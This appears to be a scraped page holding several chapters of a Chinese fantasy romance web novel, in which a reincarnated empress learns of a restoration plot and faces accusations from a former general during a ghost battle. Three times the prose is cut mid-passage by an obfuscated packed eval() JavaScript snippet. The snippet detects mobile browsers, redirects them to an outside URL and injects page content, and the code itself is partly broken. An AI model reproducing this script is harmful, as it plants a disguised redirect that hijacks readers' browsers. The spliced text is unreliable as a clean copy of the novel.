她这么一打岔,救了昆仲狗命。渡舟视线挪到她身上,继续道:“但最近几年,清水河的鱼差不多都死绝了,再难看到当年红鱼摆尾,沿街祈福的盛景。” 周昭一点就透,言简意赅道:“你怀疑这跟魂变有关?” “或者是说......瀛洲出了什么问题。” 而此时千里之外的原野沃土上,清水河如同一条浅浅的玉带贯穿瀛洲。 正值春日,两岸却多枯枝败叶,寂寥的“红鱼仙府”在这哀景之下只有一方牌匾还算遒劲有力,显出当年的繁华盛景。 沿着清水河岸向北走,春意渐淡,河道一分为二,一侧是浩浩荡荡的澹溪,另一侧则来得古怪,竟是另辟蹊径从山涧上的瀑布飞泄而下。 瀑布旁边有一狭窄的山道,仅容一人行,沿着山道约莫百余步,两三间顶着白雪的茅屋在高大挺拔的松柏林之后蓦地映入眼帘。 那茅屋小院虽然占地不大,却别有雅致,看得出主人是位烹茶煮炉的闲情雅士。 山上风大,正中间的那间茅屋本来是关着,被风吹得晃晃悠悠开了条浅缝。 顺着那缝隙望进去,屋里一丝灯都没有,昏暗得有些发闷。木桌上的纸张被风吹得哗哗作响,落了满地,伴着呼啸风声的,是一个人连续不断的低咳。 那人满头发丝白得惊人,眉眼生得尤其温和,偏偏长了道高而挺的鼻梁,恰到好处地冲淡了阴柔之气,显出一副儒雅端正的君子长相。 可惜美中不足,瞎了右眼。 他伸手将宣纸一页页理好,这是个费心思的慢活儿,他却干得不骄不躁,仿佛生来这双手就是该舞弄笔墨的。 不过当他抬手时,两个粗重狰狞的铁环很不合时宜地扣在他那纤细的手腕上,偶然碰到,便会发出叮叮当当的响声。 铁环背后穿着细细的链子,那些链子又长又细,流动着白色的灵光,一时看不清头在哪儿。 男子缓而慢地将纸笔收拾好,茅屋突然连着房顶震了震,刚收好的东西一股脑儿又被刮进来的风吹了个满地打滚。 男子脸上没有一点儿血色,好像在这阵风里听见了什么,若有若无地笑了笑,对着空气轻声道:“将人请来,不可动粗。” 风声渐息,男子又重新带着满身叮叮当当的响儿整理书桌,好似什么都没发生过。 此处风停,九洲城却吹起了晚风。 周昭吹风便头痛的毛病一直没好,竟然觉得身上有点冷,渡舟不知从哪儿变出来一辆马车,带了点儿强迫的意味把她弄上车。 周昭也算咂摸出点儿意思,敢情这人的温柔是分场合的...... 做皇帝的多半都长着根宁折不弯的傲骨,但周昭一想到渡舟那晚通红的眼睛和质问,又说不出拒绝的话,稀里糊涂意志不坚弯了弯傲骨上车。 车上点着淡淡的安神香,她闭眼前听见渡舟说了句什么,好像猫叫声也混在其中,等她再醒过来时已经到了另一个地方。 周昭揉揉眉心坐起来,感觉脚底下有点儿不由自主地发飘,身子也跟着晃。 过了阵子,周昭才找回自己的意识,反应过来不是她在晃,是地在晃。她抬起眼皮将周围打量一番,这地方陌生,但是一看就很有钱。 房间里还是点着熟悉的安神香,正往外冒着袅袅的香气,但除了这香,空气里还漂浮着一股淡淡的腥味儿。 几支软语轻歌被风送过来,不是官话,倒像是南方人的口音。 周昭扶着墙往外走,她推开门,一股潮湿的夜风扑在脸上,周昭才看清自己在什么地方。 这是一艘巨大的船,比官家运船要小些,但是比寻常商人用的那种画舫要大。 似乎是在湖心,远远望去两岸花红柳绿,在水面上倒映出无数摇摇晃晃的灯火,一派繁华之景。 湖面上并非这一条船。放眼湖面,大大小小数不清的船只画舫,随处可见打扮姣好的歌女蒙着面纱轻弄琵琶,确实是江南软语,口齿生香很是入耳。 周昭将这湖面之景尽收眼底,不过瞬息之间,她便察觉出不对劲。 这艘船在湖心,剩下的画舫看似零落,实则就像一只巨大的渔网,大船无论开往哪个方向,渔网都会立刻收紧扎口,无处可逃。 周昭看明白了这一点,那阵早春的晚风便像刀子般刺得她浑身打了个寒颤,紧跟着一件月白的斗篷便从后面裹在她身上。这突然出现的人站在眼前正好挡住风口,低着头将斗篷往她身上拢了拢,仔细地系好衣带,从善于流地抓住她的手捏了捏:“冷吗?” 对于这种带着点儿亲昵的接触,周昭仍不习惯,但渡舟每回都是触之即放,让她抓不住机会开口。 周昭没说话,眼里透着几分不解。 可能是江南的空气温润,什么东西来了这里都要沾染几分柔和,渡舟那双眼睛也像浸在湖水里,浅色的眸子里氤氲着朦胧的水波,微笑道:“殿下,我带你见个人。” 渡舟又不由分说地牵着她,从刚才周昭出来的地方往后面绕了几步。见他们走近,立刻有人掀帘行礼。刚一踏进这间房,便有一道目光射在周昭身上。 周昭看见赵允城并不算意外。江南,皇帝不正是在江南吗?她只是隐隐觉得不安。 赵允城本来是坐着,看见他们时腾地站起来,眼神里的恨意却没来得及掩饰好,因此脸上浮起来的那层敬意显得有点假,两只手有些紧张地交叠在一起,唤道:“皇叔……” 除了赵允城,还有些其他人,周昭瞧着眼熟,仔细回忆才想起来,大部分是曾经宫宴上见过的那些。 她心里的不安愈发明显,跟着船身晃来晃去,落不到实处。渡舟把这些人全都放在一窝,这时候周昭再想帮他找个什么理由都说不出口。 明晃晃地只剩下四个大字:昭然若揭。 谁知周昭还没说话,渡舟先偏过头看她,直截了当地语出惊人:“殿下,你要这天下不要?” 此言一出,满座色变,周昭心里先咯噔一下。 好歹有个长胡子老学究先反应过来,临了生出一腔孤勇,怒道:“你这是谋反!” 他刚站起来,肩膀就被身后站着的人按下去,因此后面半句话硬生生卡在喉咙里没说出来,憋得一张老脸通红,摸着胸口一阵咳嗽。 “这话不对,是改朝换代,物归原主。” “你!” 渡舟还要说什么,周昭赶在前面将他拉出去,留下满屋子人战战兢兢地面面相觑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204038|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄薄的晚风吹在脸上混着脂粉香,周昭定了定神,才道:“这不是一时兴起?” “蓄谋已久。” 周昭哑了半晌,她现在知道牵机营背后藏着的惊天谋划是什么了。 渡舟接着道:“牵机营就是为殿下而存在的,他们身上莲花烙的主人不是我,是你。” 莲花烙,能追踪行迹,亦能操纵神智。这些都是周昭上辈子就知道的,她听见这句话的震惊可想而知。 他轻描淡写地说着,指了指对岸的人间烟火,一字一句道:“百姓安居乐业,朝堂无小人,在野无叛乱……我想还殿下一个海晏河清的大周。” 如果周昭刚恢复记忆的时候,有人告诉她牵机营就是为她而存在的,周昭会觉得这人脑子有问题。但是现在,周昭觉得脑子有问题的人是自己。 “殿下不用担心魂魄,也不用担心留下骂名,我既然敢做,所有的事情都会处理好。牵机营的力量比你想象的要大,这一天我准备了几百年,只要殿下说一声,你还是大周的皇帝。你的雄心壮志,你的未竟之事,这天下尽在你手,任你谋划。” 周昭听得心惊,也不能不震撼,勉强稳住心神,声音藏在斗篷里显得有点闷:“你没想过,我可能会拒绝吗?” 渡舟不以为然地笑了笑:“想过,我知道殿下多半会拒绝。不过这有什么,我只是做我想做的,如果殿下不要,随手丢了便是。” 很少有人能像渡舟把话说得如此洒脱。 这世上有种人虽然也对你好,但他们会向你讨要同等的好。如果没讨到,多半心生怨怼,恨不得将心掏出来给你看,再将你的心也掏出看看,指责你不知好歹。 也有种人只管对你好,别的什么都不管。你若是让他掏心,他真就随手掏了。你若是说不要,他就随手扔了,再问你想要什么。 歌女吟唱声声悠扬,周昭突然想起做皇帝的那几年她常常做噩梦,醒来后睡不着,便会听到一段遥远的箫声,但总是寻不到。 周昭侧过脸注视着渡舟,有些话呼之欲出,有些答案近在迟尺。却像卡在嗓子眼里说不出口,或者说她的自尊心太强,感情方面又太钝,不知道怎么面对答案之后的种种。 她只好转过头看着湖面上的轻歌曼舞,又把话题扯回来:“你那日劝我,人活一辈子,不能总被旧事牵着走。最近这几天我想了很多,觉得自己好像比从前脆弱,也可能是老了,心气都被磨没了。” 渡舟道:“殿下才活了短短二十来年,说什么老。” “是吗?”周昭双手撑在围栏上,“我这一生,前半辈子在父兄庇佑下长大,后半辈子他们都死了,我坐上皇位那年只有十九岁,身边一个亲人都没了。其实那些传闻没冤枉我,我的确杀过很多人,不是敌人,是手无寸铁的百姓。” “如今回想起来,自己也觉得那时候疯得有点儿不正常。这世间什么荣华富贵我没享过,什么权力我没握在手里过,有时候想想,上天不可能把什么好东西都给我,总要拿走一点。什么样的人就该走什么样的路,我姓周,注定要走这条血雨腥风的路,谈不上委不委屈。” 周昭自嘲地笑了笑:“当年我年纪小,与你论道说什么天命。我自以为眼前有山海,世道归途都是我说了算,命数奈我何?但真轮到自己身上,才知道有多难。” 周昭从没有跟人说过这些,她也不知道怎么回事儿一说就停不下来。 渡舟听她说完,不知从哪儿摸出昆仲,很突兀地说道:“殿下,你知道昆仲是怎么炼出来的吗?” 周昭看着那根骨箫,显然提起了几分兴趣。 渡舟啧了一声:“烛龙那碎嘴子应该跟你说过,成业养过很多鬼胎,他会从这些鬼胎里选一个作为自己的肉身。选择的过程其实也不算多复杂,就是将这些已经成年的鬼胎关在一起自相残杀,活下来的那个就是成业需要的。” 周昭吃了一惊,渡舟继续道:“所以从某种程度上来说,我杀光了那些兄弟姐妹,用他们的骨血炼成这世间最阴毒的凶器昆仲。成业那个蠢货,估计也没想到我有这本事,搬起石头砸了自己的脚。” 渡舟换了种柔和些的语调:“我说这些不是为了跟殿下攀比苦难,苦难就是苦难,不值得炫耀。也不是为了强行让殿下忘掉,我只是想说,昨日之深渊,也是今日之彼岸。” 周昭沉思片刻,问道:“若四面临渊,何处是岸?” “脚下是岸。” “脚下是岸?”周昭先是惊讶,接着恍然大悟,那些曾经困扰她的,好像都被这阵风吹散得无影无踪。 她一直以为自己站在巴掌大的悬崖边,早晚有一天会摔得粉身碎骨,她没日没夜地做噩梦,她无时不刻不恨自己,她没有一天不想逃离深渊。 可当周昭以局外人的身份,重新审视那个四面临渊之人,她似乎接纳了史书上的安平皇帝,接纳了自己的杀伐与软弱。她没有世人眼中那么恶,也没有苍界山神像上那么善。 她不是圣人,也不是暴君,她就只是个扶大厦之将倾却没扶住的人,但她尽力了。 四面临渊,脚下是岸。 周昭不由自主露出一点儿微笑:“渡舟,风大,咱们上岸去吧。” 渡舟走了两步,又偏过头:“殿下,刚下有句话我没说完。” “什么?” “从前我恨自己身处渊底,却阴差阳错遇到了殿下。殿下,你就是我这一生的彼岸。” 皇帝的江南一行持续了个把月,都说江南好春光,天子沉溺温柔乡,乐而忘返。 周昭从那之后没见过赵允城,渡舟似乎突然多出来大把时间,每天陪她在江南乌镇走走逛逛,直到某一天昆仲突然躁动,才启程返回无相城。 渡舟坐在极乐坊那间富丽堂皇的大殿里,手中握着昆仲,不耐烦地轻敲着桌角,微沉着眼睛扫了眼底下的众人,最终目光停留在舔着前爪的白猫身上,蹙眉道:“这就是你带来的人?” 周昭不在,渡舟周围的温度都要冷上一截,倒是跟传闻中那位“妖孽”有点靠近。 白猫头也不抬,曾经的上官富贵,如今的陆轻苹忙道:“主君,容属下解释。” 沈云起站出来道:“主君,是我让富......不,陆大人带我来的。” 她最后几个字说得咬牙切齿,仰着脸讨好般地笑了笑:“主君,听说祝鸢姑娘身子不好,属下是女子,照顾起来比较方便。是吧,陆大人?” 渡舟没有应声,目光移到沈云起身侧,挑眉道:“那他呢?” 顾绍仍戴着那副骇人的饕餮面具,本来是抱着双臂站在一旁,此刻不知是不是被渡舟身上不加掩饰的邪性镇住,还是身在无相城不得不低头,竟不由自主放下手站好,很不情愿道:“是圣上让我来,给皇叔......赔罪,顺便问问,皇叔何时能归?” 问渡舟何时能归,其实是问皇帝何时能归。 这“赔罪”二字,同样是从牙缝里逼出来的,想来顾绍堂堂大将军,从未如此低声下气。 渡舟冷哼一声,骨节捏得咔咔作响,半晌,才大手一挥:“滚回去回话!让赵允城最好这辈子都躲在江南别出来。” “你!”顾绍目露凶光。陆轻苹忙道:“主君!属下有话要说。” 他上前几步,小声道:“主君,顾绍虽然混账,可他与......算是故交。属下以为,不如把他留在身边。” 渡舟眼神动了动,意思“这就是你带人来的理由?” 无相渊突然暴动,陆轻苹接到命令,带瑶姬来无相城,那时沈云起正好领着顾绍来府“赔罪”,陆轻苹虽然带来这么一串尾巴,心中却有计较:凡事只要扯到那个女人,一切都好说。 果然,渡舟只是动了动眼神没动手,陆轻苹见缝插针道:“主君,瑶姬已经带来了,该如何处置?” 渡舟总算不再看顾绍,淡淡道:“不急,那疯子还有用。” 正说着,周昭突然从内殿走出来。 陆轻苹眼睁睁看见刚才还凶神恶煞的人,眨眼间就换了副面孔,迎着来人温声细语道:“吵到你了?” 他站起身,很丝滑地将般般一脚踢开,低声道:“我让他们都出去。” 陆轻苹:“......” 他看得出来自家主君很想把顾绍挡住,却没来得及,周昭的视线率先落在顾绍身上,她看上去比平日虚弱很多,开口道:“都在啊。” 117. 第 117 章 顾绍的半张脸上浮现出很微妙的神色,困惑地看着周昭,他本来不信鬼神一说,但自从在牵机营见到渡舟,如今再被带到这无相城,便由不得他不信了。 这女人,真的是周昭? 正在此时,窗外突然传来一阵兵器碰撞声,那声音十分有规律—— 铛!铛!铛!清晰地传入殿内每个人的耳朵里。陆轻苹靠近窗户向下看了眼,道:“是月禾。” “主君不会动心了吧?”沈云起小声道。 “本侯怎么晓得!”顾绍低声道。 沈云起才发现自己问错了人,翻了个白眼。 她望了望陆轻苹,心里的那股别扭劲儿还没过去,因此不愿同他讲话,只好一边嫌弃顾绍,一边又忍不住低声问道:“大将军不是情场得意吗?看不出来?” 顾绍摸了摸下巴,正欲发表意见,外面那阵兵器碰撞声突然改变声调,此刻不再是月禾将军那两把剑的撞击声,听上去像是有各种各样的短剑长剑,大刀利斧砸在一起的声音。 陆轻苹脸色凝重,面向渡舟回禀道:“主君,来了。” “看看去。” 渡舟率先起身,他有些担忧地看了眼周昭,对方道:“放心,我一时半会儿死不了。” 周昭显然已经习惯了睁眼又换了个地方,她记得睡过去之前还在江南水乡,魂魄离体太久,周昭自己也能感觉到越来越虚弱。 当初她让魇鬼带她来鬼界,那厮一点消息都无,她倒是阴差阳错先来了无相城。 渡舟蹙着眉,显然不认同她整天将这个字挂在嘴边。剩下三人不明觉厉,也跟着往外走,沈云起没忘了一把抄起白猫抱在怀里,顾绍则满腹疑惑,问道:“什么来了?来什么了?喂!你们都走了?那本侯......” 陆轻苹经过顾绍身边时好心提醒道:“大将军,要是不想死的,就跟紧我。”又转向沈云起:“还有国师大人。” 掌风带起殿门大开,一股横冲直撞的鬼气夹杂着腐肉的味道扑面而来。渡舟一边走一边用右手随意转了转昆仲,箫身瞬间光芒大盛,几声断断续续的调子从昆仲传出来,尚未看清,楼下便传来阵阵哀嚎,那阵难闻的气息随之远去,众鬼跪地叫道:“妖主大人饶命!” 众人从渡舟身后走出来,无相城笼罩在月光下,显出原本威严沉重的轮廓。 而那些没有被月色照耀的地方,则鬼影曈曈,仿佛笼罩着一层诡谲神秘的黑云。上回来无相城,周昭只觉得街市繁华热闹,不同的是叫卖者不是人罢了。如今再看,短短数月无相城却像换了副模样—— 沿街叫卖声消失匿迹,阁楼作坊喊杀声多。入目皆是断臂残肢,鬼哭狼嚎之音此起彼伏。 而极乐坊门前这群密密麻麻的鬼,周昭敏锐地觉察到他们都是法力低微的小鬼,甚至可以说是刚从坟地里钻出来的也不为过。 他们丢下手中的武器,整整齐齐地跪地讨饶,渡舟扫了一眼,不耐烦道:“滚远点儿打。” “是是!小的们这就滚!” 不待渡舟等人下楼,众鬼忙不迭地滚远了。 唯有一只鬼像是没听到,在月光下不断挥舞着手中两把长剑。那是只无头鬼,穿着一身威武的银甲,左手剑击右手剑,叮叮当当吵得厉害。 顾绍忍住恶心,问道:“这什么东西?没有头也能走路?” 无头鬼像是捕捉到了这句话,突然将上半身转过来。顾绍也不知道怎么能从一个完整的上半身上看出来眼神,总之他被看得发毛,忍不住破口大骂道:“本侯是你这下等鬼能看的?!” 沈云起片刻无语,嘲讽道:“大将军,这无相城的鬼可不是你手里的兵。” 顾绍傲气道:“怕什么,本侯什么没见过。等等,他是不是过来了?” 沈云起道:“是的。” 只见那无头鬼挥舞着手中剑,跌跌撞撞地冲顾绍砍来。顾绍虽然沙场征战多年,但从未与这等无头的东西交手过,可头先的话已经放出去,岂有不应战的道理? 他拔剑便挡,两道兵器发出一声刺耳的爆鸣,顾绍惊讶地发现这鬼虽然没头,身手招式却丝毫不比他弱,陆轻苹抱着双臂看戏,说道:“大将军,据说月禾生前也是位将军,你且战着吧。” “果真?”沈云起好奇道,她一扭头看到陆轻苹那张脸,顿时起了身鸡皮疙瘩,尖声叫道,“你干嘛!” 陆轻苹不知何时又变了幅模样,顶着“上官”那张脸,不以为然道:“打架,还是这个身体更好用。” “哪里要打架?” 陆轻苹指了指长街尽头,道:“来了。” 远处有什么东西正在往这个方向逼近,黑压压地仿佛深不见底的海浪呼啸着迎头打过来,模样千奇百怪什么都有,天上飞的地上爬的,更多是用两条腿走着的。 青面獠牙,血盆大口,骷髅骨骸,蛇虫鼠蚁,行进速度之快令人咂舌。 沈云起脸色发白,脚步情不自禁往后退了退,小声道:“富贵儿,你会保护我的,对吧?” 陆轻苹没说话,但十分自觉地挡在沈云起面前,继而说道:“主君,就是这些魂片大闹无相城,吃了许多低阶鬼。” “很好,敢跑到我的地盘上闹事。”渡舟握着骨箫在掌心随意拍打着,顾绍跟那无头将军打得正酣,探出脖子叫道:“喂!没有人管管本侯吗!” 他这一分心,无头将军左手剑迎风霍霍刺来,顾绍勉力撑住,似乎骂了句不堪入耳的脏话。 “随他去。”渡舟拉住欲跟上去的周昭,将那把行野剑交给她防身,“明鸢,你去那边休息。” 周昭走了两步才反应过来渡舟刚才叫她什么,这名字叫的人不多,突然间被人这么一唤,还有些无所适从。 陆轻苹正欲上前,渡舟制止道:“这些都是上千年的魂变幻化厉鬼,你打不过,留在此处护卫。” 陆轻苹只得道:“是,主君小心。”若是平时,陆轻苹根本不会多余说这后半句,但他心里清楚渡舟刚受过钦原骨刺的重伤,魂变又来势汹汹,难免忧心。 可紧跟着,陆轻苹发现自己的担心完全是多余的。 渡舟就站在那儿双手抱胸,昆仲则天生劳碌命,像一道青白色的闪电穿梭在众鬼之间。 凄厉的尖叫声连绵起伏,昆仲所到之处寸草不生,那些刚刚扑上来的厉鬼仿佛城墙坍塌纷纷化作齑粉,腐肉的味道直冲天际。 渡舟身后观战的几人无不被这骇人的力量震惊,周昭忍不住自言自语道:“骨箫……是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209750|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般用的吗?” 陆轻苹并不常见渡舟出手,惊讶丝毫不弱半分。 眨眼间,海浪退去,眼前归于寂静。 沈云起抚着胸口道:“还好,还好。” 突然,一连串温柔的笑声由远及近自上空传来。 折杞面带微笑,缓步而来,点头致意道:“师父,昭姐姐,好久不见了。” 渡舟负手而立,道:“你倒是不怕死。” 折杞淡淡一笑,看向周昭,柔声道:“陛下,桦城匆匆一别,你还好吗?” 周昭那铜墙铁壁的心裂了道口子,江水滔滔,朔风冷雪,呼啸着从那道口子里跑出来。 当年匆匆一别,她到死前再也没有听到过折杞的消息。看他年纪跟那时一般大,想来也是战死沙场,无声地张了张嘴,终于说道:“还好。” 折杞的笑容变得有些惨淡,道:“陛下,盛都城,您守住了吗?” “......没有。” 渡舟横在二人中间,带着怒气道:“要打便打,哪那么多废话,拜年吗?拜年先磕头。” 折杞不以为然地耸耸肩膀,他又向前走了两步,单膝跪地,神情凝重道:“陛下,仇人近在眼前。当年兵败盛都,今日,可否要与臣同战?” 渡舟动也不动,甚至没有回头看周昭。 周昭只觉手中剑滚烫灼人,她缓缓抽出剑,剑芒锋利刺目,陆轻苹抢上前叫道:“你疯了?!” “陛下,我大周冤魂在看着您呐!” 周昭突然笑了笑,从渡舟身后走出来,站在折杞面前,语气平静道:“爱卿,魂变是你搞的鬼吧?” 折杞脸色微变,没有回答。 周昭继续道:“镜妖,也是你跟小皇帝设的局吧?不过我猜,月季花妖并不是你所为,你只是发现了这个契机,利用魂变催生镜妖,意在杀我。” “至于为什么你不想让我活过来,我还没想通。小皇帝要杀渡舟,你也要杀渡舟,你们一拍即合。宁啻流落无相城,作为城主的你自然第一时间得到消息,因为除了渡舟,只有你认识宁啻,知道长淮。” 周昭深吸一口气,天知道要让她承认顾绍就是宁啻需要多大的勇气。 “你将他送给小皇帝,借镇北大将军的身份还魂,为的就是有朝一日能为你所用。终于,你等到了,我回来了。你让宁啻出现在岁恩宴上,再通过小皇帝跟梁王的口,告诉我渡舟的真实身份。你急着想杀我,没有错。但你想借我的手杀掉渡舟......我不准。” 渡舟浑身一下子绷紧,又听周昭道:“我罪孽深重,不会怪你。可你错在不该用无辜人的性命设局。折杞,回头吧,别再错了。” “......”折杞半晌没说话,他站起身,拍了怕膝盖上的泥土,哈哈笑道,“陛下,你还是那么慈悲心肠。可是陛下,你知道因为你的慈悲心肠害死了多少人吗!当年我出兵姜国,带着兄弟们出生入死,多少次以命相搏,才换来寥寥几百姜国人送回盛都。可陛下您呢?您又干了什么?” 折杞怒道:“你非但不肯祭天挖心,还将那些想活命的周朝百姓都杀了!陛下,你的慈悲心肠,你的光芒普照,可曾低下高贵的头颅,看一看被槐鬼折磨得生不如死的百姓?!” 118. 第 118 章 “陛下,靖王殿下送回来的俘虏,您看......”闫斯年说这话时,心里直打鼓。 自从周昭亲征回来,便一直是这副生人勿近的状态,较之从前更甚。 槐鬼突然再次爆发,地宫已经荒废,朝野上下人心惶惶,连闫斯年每每都感觉顶不住压力,更何况皇帝。 “杀了?”龙椅上的人淡淡道。 “陛下!”闫斯年猝然抬头,赶忙又敛去眸中惊骇之色,“若虐杀平民,恐为天下不容,引来列国群攻伐周,届时难以收场。” “看,人人都知道杀不得,你说靖王怎么就没长个脑子!”周昭勉强压住怒气,“羊入狼群,杀不得,放不了......传朕旨意,让靖王即刻回京,军中大小事宜派燕飞去处置,统领觉得如何?” “这……陛下,靖王殿下年轻气盛,想必这回也是听说槐鬼压不住,急着救盛都城中百姓。在这个节骨眼儿上,贸然撤回主帅,怕是不妥......” 这个节骨眼指的是,黎国突然发难。 周昭叹了口气,指尖按着眉心,半晌,终于妥协:“好吧,此事暂搁。至于这些老幼妇孺,派人秘密送回去,万不可再出差错。” 闫斯年应了声是,从殿内出来时跟户部尚书王文竹擦肩而过,两人交换了个神色,都觉得前景不大妙。 三日后,周昭便率领护卫前往龙脊山。 九层琉璃塔沉寂千年后,终于迎来了后世的最后一位人皇。 “......杀百姓?”沈云起忍不住惊呼,陆轻苹忙捂住她的嘴。 周昭无话可说。 “好,好,好。”渡舟拍了拍手,连说三个好字,“看不出,原来靖王是为周朝百姓来兴师问罪,那你或许找错人了。你明知槐鬼肆虐,却送些老弱妇孺的战俘回去,就像往饿了几天的狼群丢进去几块肥肉,陛下宅心仁厚不忍杀之,但彼时周朝黑市人口买卖是为重灾,一颗姜国人心竟能卖千金,你口口声声生不如死的周朝百姓,不过是一些抢着杀女人,杀幼童的野蛮人。这样的人,早该死了。” 周昭心念微动,那时虽然将姜国送来的俘虏秘密押送回去,却在半路走了风声,被百姓活活生吃,这也直接引发了后来八王伐周。 可渡舟怎么知道...... 折杞愤愤不平道:“说得好听!大周还不是在她手中亡国了?咱们的陛下口口声声为国,却颁布路引新法,无数百姓弃国而逃,以致军中无人征战。要么,就一开始将槐鬼全都杀了。要么,就杀光姜国人。我们的陛下可倒好,左右摇摆,伪善至极!陛下,你是存心让大周亡国吗!” 周昭全然没想到折杞是这么看她的。 从前并肩作战,她竟从没看出折杞的心思。但她被如此指摘,全然不能为自己辩白。因为事实确实如此,史书上写她周昭盛时日杀百人,这话并不算冤枉。 她不光处死了那些生吃活人的百姓,还在路引新法颁布三个月后,将没有撤离出周朝,也不肯由朝廷统一看守管理的七百名槐鬼悉数杀光。其后震惊朝野的贪污案,又将上千涉事官员收押,无数世族贵族沦为亡魂。 周昭此刻回想,也觉得当时好像被鬼附了身,浑身杀气,陌生得让她自己都认不出。 渡舟啧了一声,冷声道:“黄口小儿,目光短浅。殿下十五岁渡海擒疟鬼,百姓自发修建神女殿,供香不断。又领兵大破辽城,单骑取敌首级。十六岁于赤霞关以少胜多。十七岁,晋川大捷。”他顿了顿,似乎想起了什么,“......十九登基,力排众议,颁新法,百姓无不感念新帝仁厚。此后数年,为国亲征......” “别说了。”周昭摇摇头,轻声道,“算了,别说了。” 不是这样的。 她不是渡舟所说的这样,她是亡国君。 神女殿,早在亡国之前就没有人再去拜了。 数次亲征,她眼睁睁看着身边的人一个个死去。 周昭道:“渡舟,求你别再说了......” 折杞冷笑道:“看看,连陛下自己都知道她有罪。她罪在不该心软的地方妇人之仁,该网开一面的时候却心硬如铁!伏灵院当年到底发生了什么!那些被抓的王公贵族为何不见尸体!” 伏灵院。 这三个字刚落入耳中就像闷沉沉的钟,随即狠狠地砸在心脏上,霎时血肉横飞。 安平四年,伏灵院终日血腥不散。沿着回廊蜿蜒而行,无数间紧闭的房门后都藏着一双双浑浊涣散的眼睛。他们听见脚步声,便会不由自主地露出惊恐、害怕,然后是歇斯底里的恨意。 “暴君!丧尽天良的暴君!!” “——求求你!别、别再放血了!我错了!我……” “姑母!稷儿不想死……稷儿怕……” 耳边阵阵嗡鸣。那些哭喊声与咒骂声忽远忽近,她好像又回到伏灵院,连绵不断的暴雨混着深色的血水,就像永安门之变的凤仪殿。 周昭屏住呼吸,滚烫的血液在经脉叫嚣着乱窜,她想往后退,身后风声呼啸,回头看竟是死不瞑目的尸体横陈,堆积如山。 “——殿下!殿下呼吸!” 凝滞到快要窒息的空气蓦地被撕裂了一道口子,渡舟的声音伴着风声送到耳边,血腥气瞬间散了。 渡舟说完这句话,周昭终于记得张开嘴,大口大口地喘气。 “明鸢,对,就是这样……慢一点,慢慢呼吸。” 渡舟捏着那管骨箫,手背青筋跳起,压着怒气吼道:“折杞!你找死!” 昆仲应声飞出,折杞却早有准备,飞身躲开,随之轻快地吹了声口哨,另一个方向又涌来无数厉鬼,陆轻苹皱眉道:“主君,这是有备而来。”渡舟抬手反握住飞回来的昆仲,傲慢道:“来多少,杀多少。” “师父!这些够不够?”折杞退回到尸潮厉鬼中。 这一波显然比刚才的更抗打,昆仲飞来荡去,如果它长了张嘴必然要开口大骂。渡舟将周昭往陆轻苹的方向一推,便纵身跃入战场。但折杞就像个滑泥鳅,好似有取之不竭的魂片,每每渡舟打出一团暴击便有数不清的妖魔鬼怪挡在他面前。 一时间尘土飞扬,灵光爆破声接连响起,周昭自己都没发现她的目光一直跟随着那玄色身影,雪白的鬓发飘起又落下,周昭的心也跟着起起伏伏,不由问道:“陆大人,你老实说,上回渡舟的伤到底好全没有?” 陆轻苹十分不解地看向周昭,险些把那句“你不是要杀他吗”问出口。周昭察觉他的意思,解释道:“我跟渡舟的事情稍后再算,可渡舟要是打不赢,我们都得被魂片撕了。” “你倒是分得清楚。”陆轻苹嘲讽道。 沈云起反手就是一巴掌打在陆轻苹背上,骂道:“让你说你就说!阴阳怪气什么!” “......”陆轻苹道,“我不清楚。都看我干嘛?我确实不清楚,主君像是那种会把自己受了多重的伤告诉我这种小喽喽的人吗?” 尽管渡舟法力高深,但这些魂片数量实在太多,加上他虽然对折杞穷追不舍,却不敢离开这里太远,尚且得分心留意周昭的方向。 折杞自然明了他的心思,淡笑道:“师父,瞻前顾后可不是上策。当年你要是留在这无相城,哪有我的事儿?你非要跑去人间建什么牵机营,大宣朝倒是国泰民安,你看小皇帝领情吗?” “话多。” 渡舟又是一记打出去,折杞歪了歪身子,左边胳膊一轻,以一个很不体面的姿势从肩膀处断开飞了出去。折杞边退边道:“师父,你真不留情面。” “魂片是从怎么来的?你没有这个本事。”渡舟步步紧逼,折杞全靠魂片挡在身前才强撑了这一时半刻,越打越觉得渡舟宁愿不知道真相,也要把他往死里打,不由一阵心慌,脚下发力就要溜走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214726|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡舟正在气头,怎会给他跑掉? 他右手捏诀灵光暴涨,浑身杀气四溢,折杞冷汗涔涔,叫道:“还不现身!” 话音落,那团灵光毫不留情地迎面砸下来,轰地一声爆响,地面瞬间多了一个巨大的深坑。 